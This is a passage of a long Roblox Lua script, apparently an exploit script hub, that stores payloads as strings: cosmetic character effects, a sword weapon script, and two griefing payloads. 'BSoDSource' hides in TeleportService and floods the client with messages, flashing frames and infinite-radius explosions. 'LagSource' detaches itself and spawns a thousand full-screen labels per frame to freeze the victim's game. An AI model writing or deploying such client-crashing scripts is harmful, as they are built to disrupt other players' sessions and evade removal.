| 7280 | char:FindFirstChild("Left Leg").BrickColor = BrickColor.new("Bright blue")
| |
| 7281 | char:FindFirstChild("Right Arm").BrickColor = BrickColor.new("Bright yellow")
| |
| 7282 | char:FindFirstChild("Left Arm").BrickColor = BrickColor.new("Bright yellow")
| |
| 7283 | ]] | |
| 7284 | Shiny = [[ | |
| 7285 | char = game:service'Players'.LocalPlayer.Character | |
| 7286 | char:FindFirstChild("Head").Reflectance = 1
| |
| 7287 | char:FindFirstChild("Torso").Reflectance = 1
| |
| 7288 | char:FindFirstChild("Right Leg").Reflectance = 1
| |
| 7289 | char:FindFirstChild("Left Leg").Reflectance = 1
| |
| 7290 | char:FindFirstChild("Right Arm").Reflectance = 1
| |
| 7291 | char:FindFirstChild("Left Arm").Reflectance = 1
| |
| 7292 | ]] | |
| 7293 | Unshiny = [[ | |
| 7294 | char = game:service'Players'.LocalPlayer.Character | |
| 7295 | char:FindFirstChild("Head").Reflectance = 0
| |
| 7296 | char:FindFirstChild("Torso").Reflectance = 0
| |
| 7297 | char:FindFirstChild("Right Leg").Reflectance = 0
| |
| 7298 | char:FindFirstChild("Left Leg").Reflectance = 0
| |
| 7299 | char:FindFirstChild("Right Arm").Reflectance = 0
| |
| 7300 | char:FindFirstChild("Left Arm").Reflectance = 0
| |
| 7301 | ]] | |
| 7302 | Invisible = [[ | |
| 7303 | char = game:service'Players'.LocalPlayer.Character | |
| 7304 | char:FindFirstChild("Head").Transparency = 1
| |
| 7305 | char:FindFirstChild("Torso").Transparency = 1
| |
| 7306 | char:FindFirstChild("Right Leg").Transparency = 1
| |
| 7307 | char:FindFirstChild("Left Leg").Transparency = 1
| |
| 7308 | char:FindFirstChild("Right Arm").Transparency = 1
| |
| 7309 | char:FindFirstChild("Left Arm").Transparency = 1
| |
| 7310 | ||
| 7311 | ||
| 7312 | ]] | |
| 7313 | Ghostify = [[ | |
| 7314 | char = game:service'Players'.LocalPlayer.Character | |
| 7315 | char:FindFirstChild("Head").Transparency = 0.5
| |
| 7316 | char:FindFirstChild("Torso").Transparency = 0.5
| |
| 7317 | char:FindFirstChild("Right Leg").Transparency = 0.5
| |
| 7318 | char:FindFirstChild("Left Leg").Transparency = 0.5
| |
| 7319 | char:FindFirstChild("Right Arm").Transparency = 0.5
| |
| 7320 | char:FindFirstChild("Left Arm").Transparency = 0.5
| |
| 7321 | ]] | |
| 7322 | Visible = [[ | |
| 7323 | char = game:service'Players'.LocalPlayer.Character | |
| 7324 | char:FindFirstChild("Head").Transparency = 0
| |
| 7325 | char:FindFirstChild("Torso").Transparency = 0
| |
| 7326 | char:FindFirstChild("Right Leg").Transparency = 0
| |
| 7327 | char:FindFirstChild("Left Leg").Transparency = 0
| |
| 7328 | char:FindFirstChild("Right Arm").Transparency = 0
| |
| 7329 | char:FindFirstChild("Left Arm").Transparency = 0
| |
| 7330 | ]] | |
| 7331 | BSoDSource = [[ | |
| 7332 | wait() | |
| 7333 | script.Parent = game:service'TeleportService' | |
| 7334 | CC = game.Workspace.CurrentCamera | |
| 7335 | RS = game:service("RunService")
| |
| 7336 | PG = game.Players.LocalPlayer.PlayerGui | |
| 7337 | C = game.Players.LocalPlayer.Character | |
| 7338 | function Lag() | |
| 7339 | coroutine.resume(coroutine.create(function() | |
| 7340 | while wait() do | |
| 7341 | M = Instance.new("Message",CC)
| |
| 7342 | M.Text = tick()*math.floor(5%4*21) | |
| 7343 | H = Instance.new("Hint",CC)
| |
| 7344 | H.Text = 'Get out from this place!' | |
| 7345 | SG=Instance.new("ScreenGui",PG)
| |
| 7346 | FR=Instance.new("Frame",SG)
| |
| 7347 | FR.Size = UDim2.new(500,500,500,500) | |
| 7348 | while wait() do | |
| 7349 | FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) | |
| 7350 | end | |
| 7351 | P=Instance.new("Part",CC)
| |
| 7352 | E=Instance.new("Explosion",P)
| |
| 7353 | E.BlastRadius=math.huge | |
| 7354 | E.Position=P.Position | |
| 7355 | F=Instance.new("Fire",P)
| |
| 7356 | S=Instance.new("Smoke",P)
| |
| 7357 | P.CFrame = CC.Focus | |
| 7358 | P.Anchored = true | |
| 7359 | P.CanCollide = false | |
| 7360 | P.AncestryChanged:connect(function()Lag()end) | |
| 7361 | for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end | |
| 7362 | end | |
| 7363 | end)) | |
| 7364 | end | |
| 7365 | RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end) | |
| 7366 | ]] | |
| 7367 | LagSource = [[ | |
| 7368 | wait(0) | |
| 7369 | script.Parent = nil | |
| 7370 | plr = game:GetService("Players").LocalPlayer
| |
| 7371 | local plrgui = plr:findFirstChild("PlayerGui")
| |
| 7372 | if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
| |
| 7373 | while plr.Parent == game:GetService("Players") do
| |
| 7374 | wait() | |
| 7375 | for i = 1, 1000 do | |
| 7376 | local sc = Instance.new("ScreenGui",plrgui)
| |
| 7377 | local fr = Instance.new("TextLabel",sc)
| |
| 7378 | fr.Text = "You are now being Lagged,Have fun." | |
| 7379 | fr.Size = UDim2.new(1, 0, 1, 0) | |
| 7380 | fr.FontSize = "Size48" | |
| 7381 | end | |
| 7382 | end | |
| 7383 | ]] | |
| 7384 | YamatoSword = [[ | |
| 7385 | Player = game:GetService("Players").LocalPlayer
| |
| 7386 | Character = Player.Character | |
| 7387 | PlayerGui = Player.PlayerGui | |
| 7388 | Backpack = Player.Backpack | |
| 7389 | Torso = Character.Torso | |
| 7390 | Head = Character.Head | |
| 7391 | LeftArm = Character["Left Arm"] | |
| 7392 | LeftLeg = Character["Left Leg"] | |
| 7393 | RightArm = Character["Right Arm"] | |
| 7394 | RightLeg = Character["Right Leg"] | |
| 7395 | LS = Torso["Left Shoulder"] | |
| 7396 | LH = Torso["Left Hip"] | |
| 7397 | RS = Torso["Right Shoulder"] | |
| 7398 | RH = Torso["Right Hip"] | |
| 7399 | ModelName = "Weapon" | |
| 7400 | ToolName = "Yamato" | |
| 7401 | attack = false | |
| 7402 | attacktype = 1 | |
| 7403 | mindamage = 15 | |
| 7404 | maxdamage = 25 | |
| 7405 | crtmaxdamage = 45 | |
| 7406 | omindamage = 15 | |
| 7407 | omaxdamage = 25 | |
| 7408 | ocrtmaxdamage = 45 | |
| 7409 | crtrate = 12 | |
| 7410 | fireboost = 0 | |
| 7411 | iceboost = 0 | |
| 7412 | darkboost = 0 | |
| 7413 | Mode = "None" | |
| 7414 | ssh = false | |
| 7415 | atktypez = 1 | |
| 7416 | Hitdeb = 0 | |
| 7417 | ammo = 1 | |
| 7418 | MMouse = nil | |
| 7419 | point = false | |
| 7420 | offset = 0 | |
| 7421 | radv = 90 | |
| 7422 | ---------------------------- | |
| 7423 | --Customize | |
| 7424 | DarkFire = true | |
| 7425 | MaxFT = 40 | |
| 7426 | ||
| 7427 | ||
| 7428 | ||
| 7429 | --------------------------------------------------------------------------------------------------------------------------------------- | |
| 7430 | if Character:findFirstChild("EquippedVal",true) ~= nil then
| |
| 7431 | Character:findFirstChild("EquippedVal",true).Parent = nil
| |
| 7432 | end | |
| 7433 | ev = Instance.new("BoolValue")
| |
| 7434 | ev.Parent = Character | |
| 7435 | ev.Name = "EquippedVal" | |
| 7436 | ev.Value = false | |
| 7437 | --player | |
| 7438 | player = nil | |
| 7439 | --welds | |
| 7440 | RW, LW , RWL, LWL = Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld"), Instance.new("Weld")
| |
| 7441 | --what anim | |
| 7442 | anim = "none" | |
| 7443 | --other var | |
| 7444 | player = Player | |
| 7445 | ch = Character | |
| 7446 | --save shoulders | |
| 7447 | AoETrue = {}
| |
| 7448 | RSH, LSH , RHL, LHL = ch.Torso["Right Shoulder"], ch.Torso["Left Shoulder"] , ch.Torso["Right Hip"] , ch.Torso["Left Hip"] | |
| 7449 | ||
| 7450 | function RWFunc() | |
| 7451 | RW.Part1 = ch["Right Arm"] | |
| 7452 | RSH.Part1 = nil | |
| 7453 | end | |
| 7454 | function LWFunc() | |
| 7455 | LW.Part1 = ch["Left Arm"] | |
| 7456 | LSH.Part1 = nil | |
| 7457 | end | |
| 7458 | function RWLFunc() | |
| 7459 | RWL.Part1 = ch["Right Leg"] | |
| 7460 | RHL.Part1 = nil | |
| 7461 | ch["Right Leg"].Name = "RightLeg" | |
| 7462 | RightLeg.CanCollide = false | |
| 7463 | end | |
| 7464 | function LWLFunc() | |
| 7465 | LWL.Part1 = ch["Left Leg"] | |
| 7466 | LHL.Part1 = nil | |
| 7467 | ch["Left Leg"].Name = "LeftLeg" | |
| 7468 | LeftLeg.CanCollide = true | |
| 7469 | end | |
| 7470 | function RWLRem() | |
| 7471 | RightLeg.Name = "Right Leg" | |
| 7472 | RWL.Part1 = nil | |
| 7473 | RHL.Part1 = ch["Right Leg"] | |
| 7474 | RightLeg.CanCollide = false | |
| 7475 | end | |
| 7476 | function LWLRem() | |
| 7477 | LeftLeg.Name = "Left Leg" | |
| 7478 | LWL.Part1 = nil | |
| 7479 | LHL.Part1 = ch["Left Leg"] | |
| 7480 | LeftLeg.CanCollide = false | |
| 7481 | end | |
| 7482 | function RWRem() | |
| 7483 | RW.Part1 = nil | |
| 7484 | RSH.Part1 = ch["Right Arm"] | |
| 7485 | end | |
| 7486 | function LWRem() | |
| 7487 | LW.Part1 = nil | |
| 7488 | LSH.Part1 = ch["Left Arm"] | |
| 7489 | end | |
| 7490 | ||
| 7491 | ||
| 7492 | if Character:findFirstChild(ModelName,true) ~= nil then | |
| 7493 | Character:findFirstChild(ModelName,true).Parent = nil | |
| 7494 | RHL.Part1 = ch["Right Leg"] | |
| 7495 | LHL.Part1 = ch["Left Leg"] | |
| 7496 | RSH.Part1 = ch["Right Arm"] | |
| 7497 | LSH.Part1 = ch["Left Arm"] | |
| 7498 | end | |
| 7499 | ||
| 7500 | ||
| 7501 | ||
| 7502 | local swordholder = Instance.new("Model")
| |
| 7503 | swordholder.Name = ModelName | |
| 7504 | swordholder.Parent = Character | |
| 7505 | --derp | |
| 7506 | RW.Part0 = ch.Torso | |
| 7507 | RW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) | |
| 7508 | RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0) | |
| 7509 | RW.Parent = swordholder | |
| 7510 | -- | |
| 7511 | LW.Part0 = ch.Torso | |
| 7512 | LW.C0 = CFrame.new(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
| 7513 | LW.C1 = CFrame.new(0, 0.5, 0) | |
| 7514 | LW.Parent = swordholder | |
| 7515 | -- | |
| 7516 | RWL.Part0 = ch.Torso | |
| 7517 | RWL.C0 = CFrame.new(1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) | |
| 7518 | RWL.C1 = CFrame.new(0.5, 1, 0) | |
| 7519 | RWL.Parent = swordholder | |
| 7520 | -- | |
| 7521 | LWL.Part0 = ch.Torso | |
| 7522 | LWL.C0 = CFrame.new(-1, -1, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
| 7523 | LWL.C1 = CFrame.new(-0.5, 1, 0) | |
| 7524 | LWL.Parent = swordholder | |
| 7525 | handlecolor = BrickColor.new("Really black")
| |
| 7526 | scndryclr = BrickColor.new("Bright violet")
| |
| 7527 | firepri = BrickColor.new("Bright red")
| |
| 7528 | icepri = BrickColor.new("Bright blue")
| |
| 7529 | local msh1 = Instance.new("CylinderMesh")
| |
| 7530 | msh1.Scale = Vector3.new(1,1,1) | |
| 7531 | local msh2 = Instance.new("BlockMesh")
| |
| 7532 | msh2.Scale = Vector3.new(1,1,1) | |
| 7533 | -- | |
| 7534 | local msh3 = Instance.new("BlockMesh")
| |
| 7535 | msh3.Scale = Vector3.new(1,1,1) | |
| 7536 | local msh3a = Instance.new("SpecialMesh")
| |
| 7537 | msh3a.Scale = Vector3.new(1,1,1) | |
| 7538 | msh3a.MeshType = "Wedge" | |
| 7539 | local msh4 = Instance.new("BlockMesh")
| |
| 7540 | msh4.Scale = Vector3.new(1,1,1) | |
| 7541 | local msh4a = Instance.new("SpecialMesh")
| |
| 7542 | msh4a.Scale = Vector3.new(1,1,1) | |
| 7543 | msh4a.MeshType = "Wedge" | |
| 7544 | -- | |
| 7545 | local msh5 = Instance.new("SpecialMesh")
| |
| 7546 | msh5.Scale = Vector3.new(1,1,2) | |
| 7547 | msh5.MeshId = "http://www.roblox.com/asset/?id=3270017" | |
| 7548 | local msh6 = Instance.new("BlockMesh")
| |
| 7549 | msh6.Scale = Vector3.new(1,1,0.5) | |
| 7550 | local msh7 = Instance.new("BlockMesh")
| |
| 7551 | msh7.Scale = Vector3.new(1,1,1) | |
| 7552 | local msh8 = Instance.new("BlockMesh")
| |
| 7553 | msh8.Scale = Vector3.new(0.5,1,1) | |
| 7554 | local prt1 = Instance.new("Part")
| |
| 7555 | prt1.formFactor = 3 | |
| 7556 | prt1.CanCollide = false | |
| 7557 | prt1.Name = "Handle" | |
| 7558 | prt1.Locked = true | |
| 7559 | prt1.Size = Vector3.new(0.2,1.5,0.2) | |
| 7560 | prt1.Parent = swordholder | |
| 7561 | msh1.Parent = prt1 | |
| 7562 | prt1.BrickColor = handlecolor | |
| 7563 | local prt2 = Instance.new("Part")
| |
| 7564 | prt2.formFactor = 3 | |
| 7565 | prt2.CanCollide = false | |
| 7566 | prt2.Name = "HandleTop" | |
| 7567 | prt2.Locked = true | |
| 7568 | prt2.Size = Vector3.new(1.6,0.2,0.5) | |
| 7569 | prt2.Parent = swordholder | |
| 7570 | msh2.Parent = prt2 | |
| 7571 | prt2.BrickColor = scndryclr | |
| 7572 | --- | |
| 7573 | local prt3 = Instance.new("Part")
| |
| 7574 | prt3.formFactor = 3 | |
| 7575 | prt3.CanCollide = false | |
| 7576 | prt3.Name = "FlameBlade" | |
| 7577 | prt3.Locked = true | |
| 7578 | prt3.Size = Vector3.new(0.4,3,0.2) | |
| 7579 | prt3.Parent = swordholder | |
| 7580 | msh3.Parent = prt3 | |
| 7581 | prt3.BrickColor = firepri | |
| 7582 | prt3.Reflectance = 0 | |
| 7583 | local prt3a = Instance.new("Part")
| |
| 7584 | prt3a.formFactor = 3 | |
| 7585 | prt3a.CanCollide = false | |
| 7586 | prt3a.Name = "FlameBladeP1" | |
| 7587 | prt3a.Locked = true | |
| 7588 | prt3a.Size = Vector3.new(0.2,1,0.4) | |
| 7589 | prt3a.Parent = swordholder | |
| 7590 | msh3a.Parent = prt3a | |
| 7591 | prt3a.BrickColor = firepri | |
| 7592 | prt3a.Reflectance = 0 | |
| 7593 | -- | |
| 7594 | local prt4 = Instance.new("Part")
| |
| 7595 | prt4.formFactor = 3 | |
| 7596 | prt4.CanCollide = false | |
| 7597 | prt4.Name = "FrostBlade" | |
| 7598 | prt4.Locked = true | |
| 7599 | prt4.Size = Vector3.new(0.4,3,0.2) | |
| 7600 | prt4.Parent = swordholder | |
| 7601 | msh4.Parent = prt4 | |
| 7602 | prt4.BrickColor = icepri | |
| 7603 | prt4.Reflectance = 0.5 | |
| 7604 | local prt4a = Instance.new("Part")
| |
| 7605 | prt4a.formFactor = 3 | |
| 7606 | prt4a.CanCollide = false | |
| 7607 | prt4a.Name = "FrostBladeP1" | |
| 7608 | prt4a.Locked = true | |
| 7609 | prt4a.Size = Vector3.new(0.2,1,0.4) | |
| 7610 | prt4a.Parent = swordholder | |
| 7611 | msh4a.Parent = prt4a | |
| 7612 | prt4a.BrickColor = icepri | |
| 7613 | prt4a.Reflectance = 0.5 | |
| 7614 | -- | |
| 7615 | local prt5 = Instance.new("Part")
| |
| 7616 | prt5.formFactor = 3 | |
| 7617 | prt5.CanCollide = false | |
| 7618 | prt5.Name = "HandleRing" | |
| 7619 | prt5.Locked = true | |
| 7620 | prt5.Size = Vector3.new(1,1,0.2) | |
| 7621 | prt5.Parent = swordholder | |
| 7622 | msh5.Parent = prt5 | |
| 7623 | prt5.BrickColor = scndryclr | |
| 7624 | prt5.Reflectance = 0 | |
| 7625 | local DFlame = Instance.new("Fire")
| |
| 7626 | DFlame.Parent = prt5 | |
| 7627 | DFlame.Color = Color3.new(0.5,0,0.5) | |
| 7628 | DFlame.SecondaryColor = Color3.new(0.5,0,0.5) | |
| 7629 | DFlame.Heat = 25 | |
| 7630 | DFlame.Size = 1 | |
| 7631 | DFlame.Enabled = DarkFire | |
| 7632 | local prt6 = Instance.new("Part")
| |
| 7633 | prt6.formFactor = 3 | |
| 7634 | prt6.CanCollide = false | |
| 7635 | prt6.Name = "HandleP1" | |
| 7636 | prt6.Locked = true | |
| 7637 | prt6.Size = Vector3.new(0.2,1.5,0.2) | |
| 7638 | prt6.Parent = swordholder | |
| 7639 | msh6.Parent = prt6 | |
| 7640 | prt6.BrickColor = scndryclr | |
| 7641 | prt6.Reflectance = 0 | |
| 7642 | local prt7 = Instance.new("Part")
| |
| 7643 | prt7.formFactor = 3 | |
| 7644 | prt7.CanCollide = false | |
| 7645 | prt7.Name = "HandleP2" | |
| 7646 | prt7.Locked = true | |
| 7647 | prt7.Size = Vector3.new(0.7,0.2,0.2) | |
| 7648 | prt7.Parent = swordholder | |
| 7649 | msh7.Parent = prt7 | |
| 7650 | prt7.BrickColor = scndryclr | |
| 7651 | prt7.Reflectance = 0 | |
| 7652 | local prt8 = Instance.new("Part")
| |
| 7653 | prt8.formFactor = 3 | |
| 7654 | prt8.CanCollide = false | |
| 7655 | prt8.Name = "DarkBlade" | |
| 7656 | prt8.Locked = true | |
| 7657 | prt8.Size = Vector3.new(0.2,4,0.2) | |
| 7658 | prt8.Parent = swordholder | |
| 7659 | msh8.Parent = prt8 | |
| 7660 | prt8.BrickColor = handlecolor | |
| 7661 | prt8.Transparency = 1 | |
| 7662 | local hitbox = Instance.new("Part")
| |
| 7663 | hitbox.formFactor = 3 | |
| 7664 | hitbox.CanCollide = false | |
| 7665 | hitbox.Name = "Hitbox" | |
| 7666 | hitbox.Locked = true | |
| 7667 | hitbox.Size = Vector3.new(1,4,0.2) | |
| 7668 | hitbox.Parent = swordholder | |
| 7669 | hitbox.Transparency = 1 | |
| 7670 | local hbw = Instance.new("Weld")
| |
| 7671 | hbw.Parent = hitbox | |
| 7672 | hbw.Part0 = hitbox | |
| 7673 | hbw.Part1 = prt1 | |
| 7674 | hbw.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7675 | hbw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0) | |
| 7676 | ||
| 7677 | local w1 = Instance.new("Weld")
| |
| 7678 | w1.Parent = prt1 | |
| 7679 | w1.Part0 = prt1 | |
| 7680 | local w2 = Instance.new("Weld")
| |
| 7681 | w2.Parent = prt2 | |
| 7682 | w2.Part0 = prt2 | |
| 7683 | w2.Part1 = prt1 | |
| 7684 | w2.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7685 | w2.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -0.85, 0) | |
| 7686 | -- | |
| 7687 | local w3 = Instance.new("Weld")
| |
| 7688 | w3.Parent = prt3 | |
| 7689 | w3.Part0 = prt3 | |
| 7690 | w3.Part1 = prt1 | |
| 7691 | w3.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7692 | w3.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0.25, -2.45, 0) | |
| 7693 | local w3a = Instance.new("Weld")
| |
| 7694 | w3a.Parent = prt3a | |
| 7695 | w3a.Part0 = prt3a | |
| 7696 | w3a.Part1 = prt1 | |
| 7697 | w3a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7698 | w3a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(-90),0) * CFrame.new(0.25, -4.45, 0) | |
| 7699 | local w4 = Instance.new("Weld")
| |
| 7700 | w4.Parent = prt4 | |
| 7701 | w4.Part0 = prt4 | |
| 7702 | w4.Part1 = prt1 | |
| 7703 | w4.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7704 | w4.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, -2.45, 0) | |
| 7705 | local w4a = Instance.new("Weld")
| |
| 7706 | w4a.Parent = prt4a | |
| 7707 | w4a.Part0 = prt4a | |
| 7708 | w4a.Part1 = prt1 | |
| 7709 | w4a.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7710 | w4a.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90),0) * CFrame.new(-0.25, -4.45, 0) | |
| 7711 | -- | |
| 7712 | local w5 = Instance.new("Weld")
| |
| 7713 | w5.Parent = prt5 | |
| 7714 | w5.Part0 = prt5 | |
| 7715 | w5.Part1 = prt1 | |
| 7716 | w5.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7717 | w5.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0, -0.85, 0) | |
| 7718 | local w6 = Instance.new("Weld")
| |
| 7719 | w6.Parent = prt6 | |
| 7720 | w6.Part0 = prt6 | |
| 7721 | w6.Part1 = prt1 | |
| 7722 | w6.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7723 | w6.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.5, -0, 0) | |
| 7724 | local w7 = Instance.new("Weld")
| |
| 7725 | w7.Parent = prt7 | |
| 7726 | w7.Part0 = prt7 | |
| 7727 | w7.Part1 = prt1 | |
| 7728 | w7.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7729 | w7.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(-0.25, 0.75, 0) | |
| 7730 | local w8 = Instance.new("Weld")
| |
| 7731 | w8.Parent = prt8 | |
| 7732 | w8.Part0 = prt8 | |
| 7733 | w8.Part1 = prt1 | |
| 7734 | w8.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0, 0) | |
| 7735 | w8.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,0) * CFrame.new(0, -2.95, 0) | |
| 7736 | for ringi = 0 , math.rad(350) , math.rad(50) do | |
| 7737 | local ringm = Instance.new("BlockMesh")
| |
| 7738 | ringm.Scale = Vector3.new(1,1.5,1) | |
| 7739 | local ringp = Instance.new("Part")
| |
| 7740 | ringp.formFactor = 3 | |
| 7741 | ringp.CanCollide = false | |
| 7742 | ringp.Name = "HandleRingP"..ringi | |
| 7743 | ringp.Locked = true | |
| 7744 | ringp.Size = Vector3.new(0.2,0.2,0.2) | |
| 7745 | ringp.Parent = swordholder | |
| 7746 | ringm.Parent = ringp | |
| 7747 | ringp.BrickColor = scndryclr | |
| 7748 | ringp.Reflectance = 0.1 | |
| 7749 | local ringw = Instance.new("Weld")
| |
| 7750 | ringw.Parent = ringp | |
| 7751 | ringw.Part0 = ringp | |
| 7752 | ringw.Part1 = prt5 | |
| 7753 | ringw.C1 = CFrame.fromEulerAnglesXYZ(math.rad(90), -ringi, 0) * CFrame.new(0, 0 , 0) | |
| 7754 | ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,0) * CFrame.new(-msh5.Scale.x/1.625, 0, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.z/3.25 | |
| 7755 | end | |
| 7756 | ||
| 7757 | local Objects = {}
| |
| 7758 | function getAllObjects(obj) | |
| 7759 | for a,v in pairs(obj:GetChildren()) do | |
| 7760 | if v:IsA("BasePart") then
| |
| 7761 | table.insert(Objects,v) | |
| 7762 | end | |
| 7763 | if #v:GetChildren() > 0 then | |
| 7764 | getAllObjects(v) | |
| 7765 | end | |
| 7766 | end | |
| 7767 | end | |
| 7768 | getAllObjects(Workspace) | |
| 7769 | function Raycast(Start,End,Range) | |
| 7770 | -- | |
| 7771 | for ii = 0 , #Objects do | |
| 7772 | table.remove(Objects,ii) | |
| 7773 | end | |
| 7774 | getAllObjects(Workspace) | |
| 7775 | local MA = math.abs | |
| 7776 | local CF = CFrame.new(Start,End) | |
| 7777 | local CP = Start | |
| 7778 | for i = 1, Range do--(Start - End).magnitude do | |
| 7779 | for b,v in pairs(Objects) do | |
| 7780 | if v.Parent ~= nil then | |
| 7781 | local pos = Start + (CF.lookVector*i) | |
| 7782 | local dist = v.CFrame:pointToObjectSpace(pos) | |
| 7783 | if MA(dist.x) < v.Size.x/2 and MA(dist.y) < v.Size.y/2 and MA(dist.z) < v.Size.z/2 then | |
| 7784 | if v.Parent ~= Character or v.Parent ~= swordholder or v.Parent.Parent ~= Character then | |
| 7785 | return v,Start,pos | |
| 7786 | end | |
| 7787 | end | |
| 7788 | end | |
| 7789 | end | |
| 7790 | end | |
| 7791 | return nil,Start,End | |
| 7792 | end | |
| 7793 | local RAP = Instance.new("Part")
| |
| 7794 | RAP.formFactor = 0 | |
| 7795 | RAP.CanCollide = false | |
| 7796 | RAP.Name = "RAPart" | |
| 7797 | RAP.Locked = true | |
| 7798 | RAP.Size = Vector3.new(1,1,1) | |
| 7799 | RAP.Parent = swordholder | |
| 7800 | RAP.Transparency = 1 | |
| 7801 | local w = Instance.new("Weld")
| |
| 7802 | w.Parent = RAP | |
| 7803 | w.Part0 = RAP | |
| 7804 | w.Part1 = RightArm | |
| 7805 | w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 7806 | w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 1, 0) | |
| 7807 | ||
| 7808 | function unequipweld() | |
| 7809 | w1.Part1 = Torso | |
| 7810 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), math.rad(0)) * CFrame.new(0, 0,0) | |
| 7811 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(180), math.rad(-150)) * CFrame.new(-1, -1.5, -0.6) | |
| 7812 | end | |
| 7813 | unequipweld() | |
| 7814 | ||
| 7815 | function equipweld() | |
| 7816 | w1.Part1 = RAP | |
| 7817 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 7818 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 7819 | end | |
| 7820 | ||
| 7821 | function ss(parent,p) --Slash | |
| 7822 | local SlashSound = Instance.new("Sound")
| |
| 7823 | SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" | |
| 7824 | SlashSound.Parent = parent | |
| 7825 | SlashSound.Volume = .7 | |
| 7826 | SlashSound.Pitch = p | |
| 7827 | SlashSound.PlayOnRemove = true | |
| 7828 | coroutine.resume(coroutine.create(function() | |
| 7829 | wait() | |
| 7830 | SlashSound.Parent = nil | |
| 7831 | end)) | |
| 7832 | end | |
| 7833 | function uss(parent,p) --unsheath | |
| 7834 | local SlashSound = Instance.new("Sound")
| |
| 7835 | SlashSound.SoundId = "rbxasset://sounds\\unsheath.wav" | |
| 7836 | SlashSound.Parent = parent | |
| 7837 | SlashSound.Volume = .7 | |
| 7838 | SlashSound.Pitch = p | |
| 7839 | SlashSound.PlayOnRemove = true | |
| 7840 | coroutine.resume(coroutine.create(function() | |
| 7841 | wait() | |
| 7842 | SlashSound.Parent = nil | |
| 7843 | end)) | |
| 7844 | end | |
| 7845 | function cs(parent,p) --Magic Charge | |
| 7846 | local SlashSound = Instance.new("Sound")
| |
| 7847 | SlashSound.SoundId = "http://www.roblox.com/asset/?id=2101137" | |
| 7848 | SlashSound.Parent = parent | |
| 7849 | SlashSound.Volume = .7 | |
| 7850 | SlashSound.Pitch = p | |
| 7851 | SlashSound.PlayOnRemove = true | |
| 7852 | coroutine.resume(coroutine.create(function() | |
| 7853 | wait() | |
| 7854 | SlashSound.Parent = nil | |
| 7855 | end)) | |
| 7856 | end | |
| 7857 | function ls(parent,p) --Lazer Sound | |
| 7858 | local SlashSound = Instance.new("Sound")
| |
| 7859 | SlashSound.SoundId = "http://www.roblox.com/asset?id=1369158" | |
| 7860 | SlashSound.Parent = parent | |
| 7861 | SlashSound.Volume = .7 | |
| 7862 | SlashSound.Pitch = p | |
| 7863 | SlashSound.PlayOnRemove = true | |
| 7864 | coroutine.resume(coroutine.create(function() | |
| 7865 | wait() | |
| 7866 | SlashSound.Parent = nil | |
| 7867 | end)) | |
| 7868 | end | |
| 7869 | function is(parent,p) --Ice Sound | |
| 7870 | local SlashSound = Instance.new("Sound")
| |
| 7871 | local rndm = math.random(1,3) | |
| 7872 | if rndm == 1 then | |
| 7873 | SlashSound.SoundId = "rbxasset://sounds\\ice.ogg" | |
| 7874 | elseif rndm == 2 then | |
| 7875 | SlashSound.SoundId = "rbxasset://sounds\\ice2.ogg" | |
| 7876 | elseif rndm == 3 then | |
| 7877 | SlashSound.SoundId = "rbxasset://sounds\\ice3.ogg" | |
| 7878 | end | |
| 7879 | SlashSound.Parent = parent | |
| 7880 | SlashSound.Volume = .7 | |
| 7881 | SlashSound.Pitch = p | |
| 7882 | SlashSound.PlayOnRemove = true | |
